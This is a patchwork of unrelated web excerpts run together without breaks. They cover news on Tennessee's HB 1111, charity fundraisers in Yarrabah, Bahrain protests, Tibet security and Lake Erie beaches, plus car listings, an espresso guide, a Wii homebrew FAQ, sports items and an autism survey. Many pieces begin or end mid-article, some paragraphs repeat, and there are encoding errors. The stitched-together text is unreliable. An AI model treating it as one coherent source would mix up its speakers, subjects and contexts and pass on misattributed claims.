Mandle, who said she’s known Bernie Sanders for years, told me she doesn’t like to talk about the presidential election very much. “I hope that, when push comes to shove, the people who support[ed] Bernie will vote for Hillary,” she said. “But regardless of what happens, I think that’s really important that they vote for the women who are running for Congress. This is women’s time, and we can’t just look at the presidential election. Unless a meteor strikes, Hillary’s going to win New York, so a lot of people think, ‘Well, we don’t have to bother.’ The real job is to make sure they go down the ticket. This is the year to elect progressive women to Congress.”
As we talked, a couple walked up to Mandle, who was manning an information table that included an email sign-up form. The woman reached for the form and filled it out before handing it to her husband. He was indignant. “I can’t sign that,” he said. “Yes you can,” Mandle shot back. “My husband is a charter member of Women With Zephyr.”
He still wasn’t sold. “It should say, ‘Women With Zephyr, and Men Too!’” he insisted. At that point, his wife interjected: “It should say ‘women and people,’ or something. Here, Leonard — sign.”
House Bill 1111 (also known as SB 1085) addresses how courts should interpret state law by determining that “undefined words shall be given their natural and ordinary meaning.” The law is seen by LGBTQ groups as a pathway to discrimination if those words are gender-specific, like “husband,” “wife,” “mother” and “father.”
A previously-filed bill, SB 30, stated that those words are, “based on the biological distinctions between men and women” — a distinction that excludes intersex or transgender people.
While HB 1111 was introduced right after SB 30 and is nearly identical, it omits references to any specific words.
Sen. John Stevens, who sponsored the bill in the Senate, said during Senate debate that one aim of the bill was to “compel courts to side with late Supreme Court Justice Antonin Scalia and his dissent,” USA Today reported.
But experts say the biggest legal consequence of HB 1111 is that it is redundant, confusing and riddled with conflicts.
Still, LGBTQ groups are urging Gov. Bill Haslam to veto it on the basis that it could perpetuate the mistreatment and civil rights abuses of LGBTQ people.
Haslam’s office told the NewsHour Weekend that he “deferred to the will of the legislature,” signaling that he intends to sign the bill.
What HB 1111 says
In state law, “undefined words shall be given their natural and ordinary meaning.” The bill also specifies that interpreting state laws should not involve “forced or subtle construction that would limit or extend the meaning of the language, except when a contrary intention is clearly manifest.”
The bill also specifies that interpreting state laws should not involve “forced or subtle construction that would limit or extend the meaning of the language, except when a contrary intention is clearly manifest.” SB 30 was introduced first. It was sponsored by Republican state Sen. Janice Bowling and written by David Fowler, President of the Family Action Council of Tennessee. SB 30 specified that the words “husband,” “wife,” “mother” and “father” should be “given their natural and ordinary meaning.” The meaning of those words, the bill said, should be “based on the biological distinctions between men and women.” Neither Farmer nor Stevens responded to requests for comment. Fowler, whose organization opposes same-sex marriage and rights for transgender people, told the NewsHour Weekend in an email that he wrote SB 30 to address the changing ways that judges interpret language, especially around civil rights issues. “Judges increasingly look for ways to infuse new meaning into words to suit their policy preferences,” Fowler wrote.
You can see it below:
Tennessee’s HB 1111 by PBS NewsHour on Scribd
Why are LGBTQ groups worried?
They say the bill could enable discrimination. The bill does not specify what “undefined words” should be given their ordinary meaning — but LGBTQ advocates worry that Tennessee laws that use gender-specific words like “husband” and “wife” could be interpreted in ways that invalidate same-sex marriage, which was legalized by the Supreme Court’s 2015 ruling in Obergefell v. Hodges. Tennessee Equality Project spokesperson Chris Sanders said he fears that the bill could also encourage courts to interpret laws around divorce and adoption in ways that exclude LGBTQ people. “Would those couples eventually prevail in court? Of course they would. But in the meantime, their adoption is held up. Or their divorce is held up,” he said. Jennifer C. Pizer, law and policy director at Lambda Legal, called the bill “unnecessary” and “confusing.” She said advocates fear that, “if Gov. Haslam signs the bill into law, it will create significant confusion and will be taken (improperly) by some people as legitimizing discrimination, thereby increasing the mistreatment of LGBT people in Tennessee, and same-sex couples in particular, in a state without public accommodations, housing or private sector employment nondiscrimination protections in state law.”
The bill does not specify what “undefined words” should be given their ordinary meaning — but LGBTQ advocates worry that Tennessee laws that use gender-specific words like “husband” and “wife” could be interpreted in ways that invalidate same-sex marriage, which was legalized by the Supreme Court’s 2015 ruling in Obergefell v. Hodges. They argue it echoes anti-LGBTQ rhetoric. By specifying that words should be interpreted by their “natural” meaning, the bill evokes rhetoric used by people who oppose same-sex marriage that being LGBTQ is “unnatural,” Sanders said.
Updated
Agents working for two fundraising companies have been accused of deceptively signing up some of the least well-off people in the country to direct payment plans.
The companies were contracted to raise money on behalf of the Red Cross and Bush Heritage Australia.
Employees went door-knocking and set up a fundraising booth outside shops in the Indigenous community of Yarrabah, south of Cairns in far north Queensland.
Payments typically asked for ranged from around $15 to $50 a fortnight.
The two fundraising companies signed more than 50 people to contracts, a move community leaders say is highly inappropriate given the high unemployment rate in Yarrabah.
For two days in March, agents for the Gold Coast-based AIDA roamed the streets of Yarrabah canvassing for Bush Heritage Australia.
Rival fundraiser Cornucopia visited Yarrabah on behalf the Red Cross.
Cornucopia signed up about 40 people, including Tamara Connolly, who is raising six children and works at the local childcare centre.
She was asked for money to help Indigenous children and signed up to pay $50 a fortnight.
They just seem to have no morals about them and they don't seem to have any conscience about what it is they're doing ... Community leader Elverina Johnson
"They showed me some pamphlet about kids going hungry and that, and it had the Red Cross label and everything on it," she said.
"So I said OK then, because I had a premature baby and I stayed in Red Cross so I thought I'd sign up and give something back to Red Cross.
"I'd done like three or four payments and then I realised I couldn't keep up with it because I'm a single mum with six children."
Dustin Maloney and his partner, Justine, who have four children and are unemployed, were also approached.
Mr Maloney says he gave the organisation his bank details just to get rid of them.
"They just showed us this and just started talking, and talking, and talking constantly, talking... never give us a chance to say do we want to do it, you know?" he said.
Subcontractors need to 'check moral balance'
Community leader Elverina Johnson says many of the people who signed the contracts are on welfare and did not understand the terms of the document they were signing.
Ms Johnson says the charity subcontractors need to "check their moral balance" and stay away from communities where people are generous but have little capacity to sustain regular donations.
"It's unscrupulous that these organisations, they just seem to have no morals about them and they don't seem to have any conscience about what it is they're doing and don't seem to have made any connections to the issues that we already have," she told 7.30.
"It is frustrating because it's hard enough being an Indigenous community when we're struggling with a lot of issues and we have a high unemployment rate.
"We don't have a lot of businesses here, and these organisations, these so-called charities are coming here and basically stealing money from our people by getting them to sign up without actually explaining to the locals what they're all about."
The Indigenous Consumer Assistance Network (iCAN) has already worked with the Yarrabah community to fight issues such as door-to-door salespeople signing residents up to expensive deals on vacuum cleaners and water filters that they cannot afford.
Aaron Davis, the chief executive of iCAN, says his organisation acted quickly when it realised what the fundraisers were doing in Yarrabah.
"Generally what happens is that a lot of Indigenous people in these direct marketing situations will sort of be at the door just saying 'yeah, yeah, yeah' for the person that's trying to sell them something or get them to put money into their charity just to get them away from the door," he said.
"We've heard of situations where people get let into the house because they've been kind, saying come in and have a glass of water, and just stay there until they sign something.
"They're trying to get them out of the house but culturally they're too nice to be able to be that forceful and say 'get out of my house'.
"As soon as I find out something's going on like this, I contact the charity straight away and tell them it's not on, you're meant to be helping communities like this one as part of your vision and mission and here you are exploiting them financially, it's just not right."
Charities and companies apologise, cancel contracts
AIDA and Cornucopia say rogue employees were in Yarrabah and acted outside the direction of the businesses.
Both companies say the staff involved have been disciplined.
Red Cross and Bush Heritage Australia have also condemned the actions of the contractors.
"Clearly it shouldn't have happened within this particular community, and we are tightening up all processes and principles and practices to make sure it never occurs again," Kerry McGrath from Red Cross told 7.30.
Bush Heritage Australia says no fees were collected from donors and all contracts in Yarrabah have been cancelled.
"In this instance no money changed hands, the vetting process was appropriate and effective, and in any case we became aware that these people were in the wrong place, shouldn't have been there, and we're very sorry that this happened," Gerard O'Neill from Bush Heritage Australia said.
"The absolute majority of those funds always go to the conservation work which those funds are raised for, that's a central tenet.
"Naturally we would engage a contractor to do work on our behalf and we'll pay them out of our marketing budget to in fact undertake that work."
The conduct of AIDA and Cornucopia is now the subject of an investigation by Queensland's Office of Fair Trading to determine whether the representations made to people in Yarrabah to get them to sign up were misleading and breached Australian consumer law.
Do you know more? Email investigations@abc.net.au
Topics: charities, charities-and-community-organisations, community-and-society, indigenous-aboriginal-and-torres-strait-islander, yarrabah-4871, cairns-4870, qld, australia
fuentes1206 via eBay
The seller says a custom steel tubular space frame was built for this car, with bodywork nine inches wider than a stock Super Beetle stretched over it. Front and rear suspension are carried over from the C4 Corvette, as is the fuel injection system for the 5.7-liter, 400-horsepower V8. Interestingly, this Beetle's front lid hinges near the bumper, rather than at the cowl as in a regular Beetle.
fuentes1206 via eBay
Inside, it very much looks like someone stuffed all the bits from a C4 Corvette into a Beetle body to hilarious effect. Big fender flares house 16-inch wheels wrapped in a sporty set of tires. The seller claims there's no rust, and the build quality looks professional.
Original Beetles have long made a great platform for modification, but this is one of the most extreme departures from the original we've seen. This would surely draw a sizeable, if confused crowd at any local Cars & Coffee.
fuentes1206 via eBay
Zagato
The Vision IsoRivolta draws upon Zagato's 98-year history of building stunning sports and grand touring cars, using the company's signature design cues, such as the double bubble roof and dual rear humps. The open glass cabin, massive aero channels, and protruding front fenders give the IsoRivolta a seriously good look.
Zagato
Zagato says the virtual IsoRivolta featured in Gran Turismo Sport is built on a bespoke chassis, and uses a Callaway-designed 997-horsepower twin-turbo 6.2-liter Corvette V8, sending power to the rear wheels via a 10-speed sequential transmission. In game, the car weighs 2489 pounds, can reach 60 mph in 2.7 seconds, and has a top speed of 227 mph.
Zagato
As for what the real-life car has under the hood, Zagato has yet to say. What it has revealed, however, is that you can actually own one. The company has opened an ordering list for a limited production run of three to five units. Don't expect it to be cheap, though.
Zagato
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What is “homebrew”?
Homebrew refers to unofficial software for your Wii. It allows you to run homebrew games and programs, including emulators and tools, as well as using homebrew services.
In most cases, running homebrew on your device is 100% free using the LetterBomb or FlashHax exploit. There are also various other exploits in commercial games to get homebrew running.
What can I do with homebrew?
The beaches along Lake Erie in Ohio were the worst in the nation last year for water quality, according to an environmental advocacy group that ranks beaches every year.
The Natural Resources Defense Council�s annual report on coastal beaches has never given Ohio good marks based on Erie�s 61 public beaches. Last year, Ohio ranked 29th of 30 states, based on how many times E. coli bacteria posed a health threat to swimmers in 2011.
In 2012, E. coli was detected in 21 percent of beach water tests conducted by health officials. That put Ohio dead last. Wisconsin ranked 29th with a 14 percent detection rate. Rob Moore, senior policy adviser with the advocacy group�s water program, said he had expected fewer bad test results for Ohio because of last year�s drought. E. coli typically arrives after heavy storms trigger overflows at sewage-treatment plants.
�We all expected to see a big drop in Great Lakes beach advisories in 2012, and it wasn�t that big of a difference,� Moore said yesterday. �It�s hard to say exactly why that is.�
The percentage of 2012 tests that found unhealthy bacteria along Lake Erie was down only slightly from the 22 percent recorded in 2011.
Tessie Pollock, spokeswoman for the Ohio Department of Health, said sewage overflows aren�t the only cause of bacteria contamination at beaches. Failing home septic systems and feces from geese and gulls also contribute.
�So even though it was a dry summer and there would have been less runoff, there were still many other variables,� Pollock said.
State health officials track bacteria levels at all of Ohio�s 133 public beaches. Of the 29 current health advisories issued for beaches, 25 are for sites along Lake Erie.
In each case, the state warns children, seniors and those with weak immune systems not to swim.
Moore said his group continues to encourage multiyear efforts to cut sewage overflows into Lake Erie.
Linda Oros, a spokeswoman for the Ohio Environmental Protection Agency, said a number of projects underway in many Lake Erie communities, including Toledo and Cleveland.
In 2002, Cleveland�s Northeast Ohio Regional Sewer District started a $3 billion, 25-year project. Toledo expects to spend more than $500 million on work that should be completed by 2020.
�These are long-term solutions,� Moore said. �I think the good news for Ohio is the major metropolitan areas are making those investments and looking to solve those problems.�
To see the report, go to www.nrdc.org/water/oceans/ttw/. For more information about Ohio�s beaches, go to the Ohio Department of Health�s site: www.odh.ohio.gov.
shunt@dispatch.com
CTVNews.ca Staff
An earthquake felt from Ottawa to Montreal rattled pictures off walls, but caused no significant damage.
Natural Resources Canada reports that a magnitude 3.8 earthquake centred near near Rigaud, Que., occurred at 6 p.m. on Wednesday evening.
John Stalker was in his cottage when he heard a loud rumble.
"All of a sudden it sounded like a jet landed on me, or something exploded in the garage," Stalker told CTV Ottawa.
"I came out just to make sure my garage hadn't gone up in flames or something like that, and about two minutes later my neighbour came over and said, 'Did you feel that?'"
Patrons and employees at a restaurant in Hawkesbury, Ont., were also startled when shaking began.
"I just felt a huge boom and I thought somebody fell down or something," said Liam Dias, an employee at the Stephanie's Grill and Bar. "All the glasses were shaking upstairs."
But beyond a bit of vibration, Natural Resources Canada says, "There are no reports of damage, and none would be expected."
Updated
Approval for a North Korean embassy in Canberra has been put on hold following this week's nuclear test by the rogue nation.
Officials from the country were due to arrive this weekend to scope out sites for the diplomatic mission but have been told not to come.
"We postponed the arrival of North Korean diplomats in Australia as a gesture following this detonation," Foreign Minister Bob Carr told a Senate hearing.
"We still adhere to the view that there's value in having a North Korean diplomatic presence here, in particular so we can speak directly about these concerns for peace and security and stability in east Asia."
The Australian Government had previously indicated its willingness to approve a request from North Korea to re-establish its embassy in Canberra, more than four years after it was closed.
But that approval has been suspended because of North Korea's nuclear test, in violation of several United Nations Security Council resolutions.
In a joint statement issued after the detonation on Tuesday, Senator Carr and Prime Minister Julia Gillard condemned the regime's actions.
"North Korea's development of nuclear weapons and missiles and its proliferation of sensitive technologies threaten international peace and security," they said.
Senator Carr says he plans to speak with UN secretary general Ban Ki-Moon tomorrow to support the UN's strong condemnation of the action.
"I'm [also] looking for an opportunity to convey to representatives of Beijing that we understand the sincerity and the strength of their intervention with North Korea as the only nation likely to have influence on the behaviour of that country."
Australia has a range of sanctions in place against North Korea in response to missile and nuclear tests carried out in 2006.
They prohibit travel into Australia by North Koreans, as well as a ban on North Korean ships docking in Australia.
The sanctions are in addition to those imposed as part of a United Nations order which banned the sale or supply of arms to the reclusive regime.
The UN sanctions also prohibit anyone from providing financial support or technical advice to North Korea in relation to military hardware.
Topics: world-politics, government-and-politics, foreign-affairs, nuclear-issues, canberra-2600, korea-democratic-peoples-republic-of, australia, act
According to the 30-year-old Ruto, one of the many reasons he could not manage to break the record was the presence of “joggers” on the route. The ‘Amateur Marathon’ started at 5.40 am and hundreds were not even halfway through. It meant the elite marathoners had to avoid many a reveller on the route. And according to Ruto, that is where he lost that split second or two. “Yes, I would’ve broken the record,” Ruto rued. “There were disturbances with the joggers running alongside and it made it a little difficult for me. I’m a little disappointed at not breaking the record, but I’m still satisfied with my timing. I will try and break the record next year,” he added.
Ruto took home a cool purse of $41,000, a figure that is sure to please him, for he has no other job. Had he set the course record, he would have been richer by a further $15,000 All he does is run. As a schoolboy, he used to run six kilometres every day. Married and a blessed with an 18-month-old son, he wants to “use the money for them”. He’ll come back for that record.
Come next year and that will be the challenge, said Jos Hermens of the of Global Sports Communication, the elite athletes’ coordinator. “The crowd was more this year, hence the problem. This issue is not easy to deal with in a city like Mumbai, but you do need cleaner roads for professional runners. It’s a big challenge for the future,” Hermens said.
However, as far as the race was concerned, almost everything went according to the runners’ script. The weather was not too harsh, except towards the end when the sun came out. The pacer-setters, too, did their bit. It wasn’t before the 35th km in the 42.195-km race that Ruto broke from the pack of about 10 runners to take a slender lead.
The high-octane rush of a well prepared cup of espresso has captivated coffee sippers everywhere.
While Europeans have long enjoyed the steamy goodness of espresso shots, the at-home trend is still fairly young in America’s coffee market.
Coffee drinkers can see the derivations from classic drip-coffee with long European names as a little intimidating, especially without the familiar sight of a Starbucks barista.
Those who do enjoy espresso based drinks made at home likely aren’t even 100% sure what the differences are between their drink of choice and some of the others with long Italian names. I know I couldn’t name the ingredients and preparation methods for all of them.
The truth is that espresso is a wonderful way to perk up a dreary day and there is a whole host of different espresso-based drinks to explore. The hidden advantage to pure espresso shots is the caffeine content per volume of liquid is higher than regular drip coffee. It also tastes pretty great.
Because of the brewing process (water forced under pressure through finely ground coffee beans), espresso drips out richly, providing an aromatic, viscous liquid full of flavor, and even a little extra caffeine.
Standard Espresso Styles
The concentration shift from regular coffee makes the difference when it comes to bioavailability and absorption. But what does this mean for the individual drinker? A faster, stronger sensation.
This method of preparation has blossomed into a huge catalogue of really tasty drinks.
We’ve profiled the full range of espresso-based beverages to provide a little extra background on what you’re ordering when you step into your favorite local cafe or if you’re looking to expand your repertoire at home.
Ristretto – Quick and effective
The ristretto is what is referred to as a “short-shot.” It captures the essence of the beginning of an extraction. Less water is used in the process, but this does not mean less flavor.
Ristretto is a dark, rich drink, and while it contains less caffeine than a full extraction, taking a pure shot will lead to a stronger sensation, given the relative ratios.
Espresso Normale – The traditional shot
This is the classic espresso shot formulation; extremely popular in Italy, it provides a quick and powerful extraction. The key to the normale is that the drip negates over-extraction. This avoids some of the potential bitterness of the lungo; making this drink perfect for a pure shot, and still high in caffeine content for popular, sweet, and creamy mixed drinks.
This avoids some of the potential bitterness of the lungo; making this drink perfect for a pure shot, and still high in caffeine content for popular, sweet, and creamy mixed drinks.
Lungo/Café Allongé – The full extraction
The Lungo, which is Italian for “long” is the opposite of the ristretto. The drink is still a pure espresso, however, it uses twice the amount of water of a regular shot. Often confused with the caffè americano, the lungo is a beast of its own.
The longer extraction captures the entirety of coffee, while still offering concentration; considering that it contains the most caffeine out of all of the extractions, it is usually used in mixed-drinks, derived from pure espresso.
Espresso Drink Variations
Cappuccino – The classic favorite
The cappuccino has grown famous as an Italian drink, made with espresso, a layer of milk, and a layer of steamed milk-foam. The drink is a quick fix of freshness infused with caffeine that does not sit too harshly on the taste buds. This drink is well known for the combination of taste and beauty.
A decisive factor in the cappuccino’s popularity is aesthetic presentability. Served in a porcelain cup, the foam richly rises above the rim.
Caffè Latte / Café Au Lait / Grand Crème – Half-and-half pleasure
Known by its many European name varations, which all literally mean “milk coffee,” Americans simply call this drink the latte. Traditionally, in the formulation of this drink, steamed milk is poured into a shot of espresso, with just a little foam. Although, in America, the drink has been known to include a larger layer of foamed milk, but not as much as the cappuccino.
Often times, the mix of espresso and milk foam on top of the drink is formed into art, depending on the skill of the barista.
Caffè Macchiato – A darker sensation
This drink is an espresso-milk combination that focuses on maintaining the purity of the brewing bean’s rich flavor.
Thus, the drink is just slightly “marked” by a bit of frothed milk poured into a double shot of espresso, settling either just under the crema, or slightly over. This drink offers the most espresso out of any of the mixes. The idea is that the milk is a compliment and isn’t dominating the espresso.
Latte Macchiato – The other Macchiato
Often confused with the caffè macchiato, this is a much lighter, less intense variation. In addition to the flavor differences, the espresso is to be poured into milk (usually just 1/2 a shot), unlike the caffè macchiato (which features a full to double shot with steamed milk poured in).
This drink is usually layered, which you can see when served in a glass cup. Typically, the steamed milk is the bottom layer, followed by the espresso and then a thin layer of foam on top. This leads to a much lighter, less buzzy beverage – an easy sipper.
Caffè Americano – Black and hot
The recipe for an Americano combines espresso with hot water. Although the drink may seem like a regular drip-coffee, the difference is displayed in the flavor of the finish.
Rumor holds that the drink was named in World War II, as American infantry tried to balance the rich strength of Italian Espresso to match domestic expectations.
Flat white – A drink from down-under
Originating in Australia, the flat white has grown to be a global favorite. The drink involves a mixture of steamed milk and double shot of espresso, much like a latte, however, the ratio of milk to espresso is smaller and there is a VERY thin layer of micro-foam on top.
Although the drink is not well-known in Europe, it has been picked up by some serious brands in the U.S.
Breve – The creamy concoction
The breve features a mixture of steamed milk and cream (aka half and half) added to espresso and topped with a little foam, producing a beverage with a little less buzz, but very smooth and soft drinkability.
Espresso Con Panna / Café Viennois – A historic touch
This is a storied cup, popular throughout Europe and the United Kingdom. This beauty of a beverage is usually made from a non-ristretto shot of espresso, with a layer of thick whipped cream topping and sometimes, a dusting of cinnamon.
Although it is historically served in a demitasse cup, modern variations feature latte cups for extra cream. Yum!
Flavored Variations
Caffè Marocchino – A touch of cocoa
This drink is very similar to the cappuccino, however, it is enhanced in flavor by a bit of cocoa dusted on top, making for a tasty bitter-sweetness.
Mocha – Chocolate lover’s fave
Similar to the latte, this drink features all the usual ingredients, a shot of espresso, a bit of steamed milk, plus the notable addition of chocolate syrup. The beverage is often finished with an optional layer of whipped cream, dusted with a little cocoa.
Eggnog latte – A seasonal sensation
The Eggnog latte is traditionally served in winter to balance with the dreary outer atmosphere. It is full of flavor, made with nutmeg, streamed milk, and eggnog, providing a spicy touch.
Café miel – A French fix
Perhaps the most flavored of all of the aforementioned beverages, the cafe miel features an espresso shot flavored with a bit of milk, enhanced with overtones of honey and cinnamon.
Café bombón – An Asian Twist
This interesting fusion combines espresso in a 1:1 ratio with condensed milk. This combination provides for a uniquely sweet flavor that is impossible to achieve otherwise. Usually topped with foam, the drink is poured into a clear glass to highlight the contrast in its ingredients.
Conclusion
Sunni-led Saudi Arabia props up Bahrain's al-Khalifa family with cash and has long sought to prevent the tiny Persian Gulf state - with its majority Shiite population - from falling into Iran's orbit. With dwindling oil resources, Bahrain relies heavily on Saudi Arabia for money and security.
It was unclear whether the Saudi comments indicated that the country was contemplating possible action in Bahrain or were merely meant to express growing anxiety among Saudi leaders. But some regional experts have long warned that a concerted Shiite challenge to the monarchy in Bahrain might prompt intervention from Saudi Arabia, which has its own restive Shiite minority population. The two countries are connected by a causeway.
The Saudi comments came as an uneasy calm prevailed in Bahrain's capital Sunday. Protesters pitched tents and held a peaceful demonstration at a central square as opposition leaders continued to rebuff the crown prince's invitation to engage in dialogue.
The statements from Saudi Arabia, which had been largely silent on the crisis in Bahrain since protests erupted a week ago, were issued in quick succession. The official Saudi press agency reported that the kingdom was following developments in Bahrain "with concern" and that it hopes to see a "restoration of calm and stability" under Bahrain's "wise leadership."
"The Kingdom of Saudi Arabia stands with all its capabilities behind the state and the brotherly people of Bahrain," the statement added.
Shortly afterward, it was announced that Saudi Arabia's powerful interior minister, Prince Nayef, had called Bahrain's King Hamad bin Isa al-Khalifa to convey the same message.
Kuwait's emir, Sheik Sabah Ahmed al-Sabah, also called the Bahraini king on Sunday and stressed that "the security of Bahrain is the security of the region," reflecting the growing anxiety among gulf monarchies that Bahrain's troubles could have a spillover effect. In Kuwait, protesters have taken to the streets demanding more rights.
'A very, very lucky king'
Saudi Arabia's expression of concern came as Adm. Mike Mullen, chairman of the U.S. Joint Chiefs of Staff, arrived in Riyadh, the Saudi capital, for two days of consultations with the kingdom's leadership, the first stop on a regional tour. The purpose of his mission is to "reassure, discuss and understand what is going on," Mullen told reporters. Bahrain, in addition to its proximity to Saudi Arabia, hosts the U.S. Navy's 5th Fleet, which has served as a hub for operations in Afghanistan and Iraq.
In the Bahraini capital, the Pearl Square roundabout, which had been the site of vicious crackdowns against protesters, again had the feeling of a festival. Families set out picnics, vendors sold tea and pastries and a tight knot of traffic stopped up what is usually one of Manama's most congested areas.
The only noticeable government presence was a string of police officers keeping watch over the area from a nearby highway.
The king "should work for us, not for himself," said Wafi al-Maged, a construction worker. "He's a very, very lucky king to have such peaceful people. Our demands are for jobs, health care, good education - that's it."
A family's bedside vigil
At the Salmaniya Medical Complex, where doctors and staff members said they had been prevented from sending out ambulances after Bahrain's military fired on protesters Friday, pillars near the main entrance bore posters of one of the most seriously wounded, zoo worker Abdul al-Redha.
Inside, Redha, a bullet lodged in his head, clung to life, but doctors said he no longer showed signs of brain function. Family members gathered around his bed, where he was covered in a red-and-white Bahraini flag.
On Sunday, Crown Prince Salman bin Hamad al-Khalifa tried to coax Shiite opposition leaders to meet with him to discuss their demands for democratic reforms.
On Oct. 18, the opening day of the 19th Party Congress, armed police arrived in convoys and began conducting military drills in the streets of towns in the Golog (in Chinese, Guoluo) Tibetan Autonomous Prefecture, a resident of the area told RFA’s Tibetan Service on Wednesday.
“They have also been posted at the intersections of major roads in order to intimidate the people.” RFA’s source said, speaking on condition of anonymity.
Golog counties affected by the move include Darlag (Dali), Chigdril (Jiuzhi), Pema (Banma), Gade (Gande), and Machen (Maqin), the source said, adding that Tibetan residents were warned last month not to send photos or video clips of police activity to contacts outside the region.
“They also advised local Tibetans not to discuss politics with outside contacts or to watch or listen to news about Tibet from broadcasters overseas,” he said.
“They were told they would face severe consequences if they were caught doing any of these things.”
Tibetan areas of neighboring Gansu province are also burdened now by tightened controls, the source said.
“In this intimidating environment, Tibetans are too frightened to talk to anyone outside their own areas,” he said.
Troops, special forces in Lhasa
In the neighboring Tibet Autonomous Region, now temporarily closed to foreign visitors, China has meanwhile “dramatically tightened control in Tibet in advance of the 19th Party Congress in Beijing from October 18,” the Washington-based International Campaign for Tibet (ICT) said in an Oct. 17 statement.
“Massed ranks of troops and special forces gathered in Lhasa and other cities in the Tibet Autonomous Region for intimidating military drills in which soldiers swore allegiance to 'protecting the 19th Party Congress,'” ICT said.
Reached by a reporter on Wednesday, several Lhasa residents declined to speak, quickly hanging up the phone.
In Tibet’s Shigatse city, though, a Chinese businessman noted an increased presence of police patrol cars and public security officers carried in military trucks.
“These days you can also see more ambulances and firefighting trucks traveling on the roads. But this isn’t causing us any inconvenience,” he said.
Authorities across China have recently stepped up nationwide “stability maintenance” measures targeting anyone with a critical opinion of the ruling Chinese Communist Party or Chinese President Xi Jinping ahead of the Party’s 19th Congress, which will be held in Beijing from Oct. 18 to 28.
Among other moves, authorities have banned travel to Tibet from outside the politically sensitive region while the top-level meetings are held, sources say.
The professor, James McPherson, linked to a piece from Buzzfeed reporting that on Monday a woman in Tennessee identified as Wendi Wright was allegedly following a car that contained Tennessee Republican Rep. David Kustoff (pictured above), who voted for Trumpcare. When the car pulled into a driveway, Wright approached and "began screaming and striking the windows," per the report. She also allegedly tried to prevent Kustoff from exiting the car as she yelled and cussed incoherently.
Wright later wrote about the incident on Facebook, which is how police were able to find her. She is scheduled to appear in court on May 15.
This story prompted McPherson to tweet out:
As of this writing, he has not taken down the tweet.
The Daily Wire asked McPherson if his tweet was meant in jest, prompting McPherson to respond via email, "Of course it was in jest. I don't advocate killing anyone, including via the death penalty, except in self-defense. This case clearly wasn't self-defense – but then, neither are many of the 'stand your ground' cases that gun nuts like to promote."
The Daily Wire also asked McPherson if he thought it was appropriate for a professor to tweet a violent joke, to which McPherson responded: "I'm a bit confused: Is The Daily Wire suddenly concerned about political correctness in humor? Still, if you were offended, I apologize."
But, of course, it's not The Daily Wire's stance on "political correctness in humor" that is at the heart of the question, it's the double standard of the Left on violent rhetoric, said "in jest" or not.
McPherson was challenged on Twitter:
@JimBMcPherson @TasneemN 1/2 You defended attempted murder. That's not political incorrectness. That's defending attempted murder. And my feelings aren't the issue. — James Silberman (@James_Silberman) May 12, 2017
@JimBMcPherson @TasneemN 2/2 The issue is someone in a position of ideological authority is justifying lethal political violence. — James Silberman (@James_Silberman) May 12, 2017
McPherson doubled down:
@James_Silberman @TasneemN 1/2 Actually, I assumed people of average intelligence would get the joke, & know I wasn't advocating attempted murder. But ... — James McPherson (@JimBMcPherson) May 12, 2017
@James_Silberman @TasneemN 2/2 ... I think the suggestion that I have some sort of "ideological authority" gives me too much credit. Thanks. — James McPherson (@JimBMcPherson) May 12, 2017
A former student of McPherson's, who wished to remain anonymous, told The Daily Wire through a direct message on Twitter that McPherson "is a pretty overt leftist, and it definitely shows through in his teaching, but he allows students to provide alternative perspectives to his classes, and I very much appreciated that."
The former student also mentioned that McPherson "is retiring at the end of this school year," which might explain why he felt compelled to send out the tweet in question.
Other tweets on McPherson's timeline certainly reflect his leftist politics:
.@cathymcmorris is OK with rape or depression keeping you from getting insurance, to cut taxes on rich. #CardboardCutoutCathy https://t.co/ghupDVgbIf — James McPherson (@JimBMcPherson) May 5, 2017
Here is McPherson's background, via his personal page on the Whitworth University website:
After working for several years as a newspaper reporter, editor and public relations professional, Jim McPherson completed his Ph.D. in journalism, history and political science at Washington State University in 1998. Prior to coming to Whitworth in 2000, he taught a Peace College, a Presbyterian women’s college in Raleigh, N.C. He studies and writes about media history, and is past president of the American Journalism Historians Association. Jim’s publications include two books, The Conservatism Resurgence and the Press: The Media's Role in the Rise of the Right (one of six national finalists for the 2009 Frank Luther Mott/Kappa Tau Alpha Research Award) and Journalism at the End of the American Century, 1965-Present (2006), along with numerous book chapters and journal articles. He blogs about media and politics at https://jmcpherson.wordpress.com. He participates regularly on public panels, and sometimes as a writer, commentator, or source for various media. At Whitworth Jim has taught Mass Media History, Media Criticism, Reporting, Writing for Mass Media, Women & Media (as part of Core 350), and Editing, Layout & Design. He leads a Jan Term “Media Impact” program in New York and Washington, D.C., and advises Whitworth’s award-winning student newspaper, The Whitworthian. He also has served in various faculty governance positions, including as Faculty Secretary and as chair of the Faculty Promotion & Tenure Committee.
The mysterious Sphinx in front of the Pyramid of Khafre on the Giza Plateau, Egypt
Legends have passed over hundreds of years regarding the simple omission in this photograph of the Sphinx and the Pyramid of Khafre, part of the Giza Pyramid (or Great Pyramid) complex in Egypt. Where is the Sphinx’s nose? Many of us have heard the tale that a cannonball fired by Napoleon’s soldiers hit the nose and caused it to break off. Sketches of the Sphinx by the Dane Frederic Louis Norden were created in 1737 and published in 1755, well before the era of Napoleon. However, these drawings illustrate the Sphinx without a nose and clearly contradicts the legend. So what really happened?
The Egyptian Arab historian al-Maqrīzī wrote in the 15th century that the nose was actually destroyed by a Sufi Muslim named Muhammad Sa'im al-Dahr. In 1378 CE, Egyptian peasants made offerings to the Great Sphinx in the hope of controlling the flood cycle, which would result in a successful harvest. Outraged by this blatant show of devotion, Sa'im al-Dahr destroyed the nose and was later executed for vandalism. Whether this is absolute fact is still debatable.
Have you seen the Sphinx up close? Share your story below.
Arsenal's Jack Wilshere applauds fans after the game
Game Time
Even without his unending list of injuries, Jack Wilshere would have no doubt struggled to establish himself in the Arsenal first-team this year. With a host of talented central midfielders at Arsène Wenger's disposal, Jack would likely have settled for the bench, picking at the scraps left by Cazorla, Özil and Xhaka. At Bournemouth, Jack will truly be regarded as a key player, and will be vital as they seek to consolidate their position in the Premier League.
International Recognition
It is no coincidence that Arsenal's decision to allow Wilshere to go out on loan, shortly followed the announcement of the 24-year-old's omission from Sam Allardyce's first England squad. If Wilshere wants any chance of International football in the coming years, he is going to need to prove to Big Sam that he can play on a regular basis and inspire a side that looks to him for creativity.
England's Jack Wilshere during training
Eddie Howe
While Howe eventually lost out to Allardyce in the race for England's premier job, the invitation to interview for the role is further proof of Howe's growing stock in English football.
A new survey has found a big jump in the number of children with autism, although researchers caution that the increase is likely due to the way that questions were asked.
More than 2.2% of children ages 3 to 17 — about one in 45 — have autism, according to the Center for Disease Control and Prevention's National Health Interview Survey, conducted in 2014. The annual survey found autism rates of 1.25%, or one in 80 people, from 2011 to 2013.
